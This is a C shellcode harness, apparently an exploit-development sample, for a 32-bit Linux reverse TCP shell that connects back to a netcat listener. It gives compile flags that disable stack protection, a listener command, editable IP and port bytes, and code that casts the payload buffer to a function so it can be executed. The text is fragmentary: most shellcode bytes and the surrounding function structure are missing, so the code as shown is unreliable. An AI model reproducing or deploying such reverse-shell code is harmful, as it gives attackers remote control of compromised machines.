Shell Reverse TCP Shellcode - C Language
Written in 2013 by Geyslan G. Bem, Hacking bits
This source is licensed under the Creative Commons
Attribution-ShareAlike 3.0 Brazil License.
To view a copy of this license, visit
You are free:
to Share - to copy, distribute and transmit the work
to Remix - to adapt the work
to make commercial use of the work
Under the following conditions:
Attribution - You must attribute the work in the manner
specified by the author or licensor (but
not in any way that suggests that they
endorse you or your use of the work).
Share Alike - If you alter, transform, or build upon
this work, you may distribute the
resulting work only under the same or
similar license to this one.
* 72 bytes
* null-bytes free if the port and address are
* the ip address and port number are easily changeable (2nd to 5th bytes are the IP) and (9th and 10th are the Port)
# gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
# nc -l 127.1.1.1 55555
unsigned char code = \
"\x7f\x01\x01\x01" // <- IP Number "127.1.1.1"
"\xd9\x03" // <- Port Number "55555"
// When the IP contains null-bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(code));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp");
int (*ret)() = (int(*)())code;